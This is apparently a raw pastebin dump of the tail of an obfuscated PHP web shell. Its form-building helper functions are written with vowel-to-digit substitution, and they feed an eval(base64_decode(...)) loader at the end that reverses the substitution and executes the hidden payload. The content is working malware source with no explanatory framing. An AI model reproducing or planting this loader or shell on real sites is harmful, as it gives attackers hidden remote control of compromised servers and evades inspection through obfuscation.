f3nct42n m1k54np3t($1rg = 1rr1y()){
	$1rg['s4z5'] = $1rg['s4z5'] > 0 ? "s4z5=\"$1rg[s4z5]\"" : "s4z5=\"600\"";
	$1rg['5xtr1'] = $1rg['5xtr1'] ? $1rg['5xtr1'] : '';
	!$1rg['typ5'] && $1rg['typ5'] = 't5xt';
	$1rg['t4tl5'] = $1rg['t4tl5'] ? $1rg['t4tl5'].'<br />' : '';
	$1rg['cl1ss'] = $1rg['cl1ss'] ? $1rg['cl1ss'] : '4np3t';
	4f ($1rg['n5wl4n5']) {
		p("<p>$1rg[t4tl5]<4np3t cl1ss=\"$1rg[cl1ss]\" n1m5=\"$1rg[n1m5]\" 4d=\"$1rg[n1m5]\" v1l35=\"$1rg[v1l35]\" typ5=\"$1rg[typ5]\" $1rg[s4z5] $1rg[5xtr1] /></p>");
	} 5ls5 {
		p("$1rg[t4tl5]<4np3t cl1ss=\"$1rg[cl1ss]\" n1m5=\"$1rg[n1m5]\" 4d=\"$1rg[n1m5]\" v1l35=\"$1rg[v1l35]\" typ5=\"$1rg[typ5]\" $1rg[s4z5] $1rg[5xtr1] />");
	}
}

f3nct42n m1k5s5l5ct($1rg = 1rr1y()){
	4f ($1rg['2nch1ng5']) {
		$2nch1ng5 = '2nch1ng5="'.$1rg['2nch1ng5'].'"';
	}
	$1rg['t4tl5'] = $1rg['t4tl5'] ? $1rg['t4tl5'] : '';
	4f ($1rg['n5wl4n5']) p('<p>');
	p("$1rg[t4tl5] <s5l5ct cl1ss=\"4np3t\" 4d=\"$1rg[n1m5]\" n1m5=\"$1rg[n1m5]\" $2nch1ng5>");
		4f (4s_1rr1y($1rg['2pt42n'])) {
			f2r51ch ($1rg['2pt42n'] 1s $k5y=>$v1l35) {
				4f ($1rg['s5l5ct5d']==$k5y) {
					p("<2pt42n v1l35=\"$k5y\" s5l5ct5d>$v1l35</2pt42n>");
				} 5ls5 {
					p("<2pt42n v1l35=\"$k5y\">$v1l35</2pt42n>");
				}
			}
		}
	p("</s5l5ct>");
	4f ($1rg['n5wl4n5']) p('</p>');
}
f3nct42n f2rmh51d($1rg = 1rr1y()) {
	!$1rg['m5th2d'] && $1rg['m5th2d'] = 'p2st';
	!$1rg['1ct42n'] && $1rg['1ct42n'] = $s5lf;
	$1rg['t1rg5t'] = $1rg['t1rg5t'] ? "t1rg5t=\"$1rg[t1rg5t]\"" : '';
	!$1rg['n1m5'] && $1rg['n1m5'] = 'f2rm6';
	p("<f2rm n1m5=\"$1rg[n1m5]\" 4d=\"$1rg[n1m5]\" 1ct42n=\"$1rg[1ct42n]\" m5th2d=\"$1rg[m5th2d]\" $1rg[t1rg5t]>");
	4f ($1rg['t4tl5']) {
		p('<ha>'.$1rg['t4tl5'].' &r1q32;</ha>');
	}
}

f3nct42n m1k5t5xt($1rg = 1rr1y()){
	!$1rg['c2ls'] && $1rg['c2ls'] = 600;
	!$1rg['r2ws'] && $1rg['r2ws'] = ai;
	$1rg['t4tl5'] = $1rg['t4tl5'] ? $1rg['t4tl5'].'<br />' : '';
	p("<p>$1rg[t4tl5]<t5xt1r51 cl1ss=\"1r51\" 4d=\"$1rg[n1m5]\" n1m5=\"$1rg[n1m5]\" c2ls=\"$1rg[c2ls]\" r2ws=\"$1rg[r2ws]\" $1rg[5xtr1]>$1rg[v1l35]</t5xt1r51></p>");
}

f3nct42n f2rmf22t5r($n1m5 = ''){
	!$n1m5 && $n1m5 = 's3bm4t';
	p('<p><4np3t cl1ss="bt" n1m5="'.$n1m5.'" 4d=\"'.$n1m5.'\" typ5="s3bm4t" v1l35="S3bm4t"></p>');
	p('</f2rm>');
}

f3nct42n f2rmf22t(){
	p('</f2rm>');
}

// Ex4t
f3nct42n pr($1) {
	5ch2 '<pr5>';
	pr4nt_r($1);
	5ch2 '</pr5>';
}
?>';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> Source: http://pastebin.com/raw.php?i=STftWNMR
↧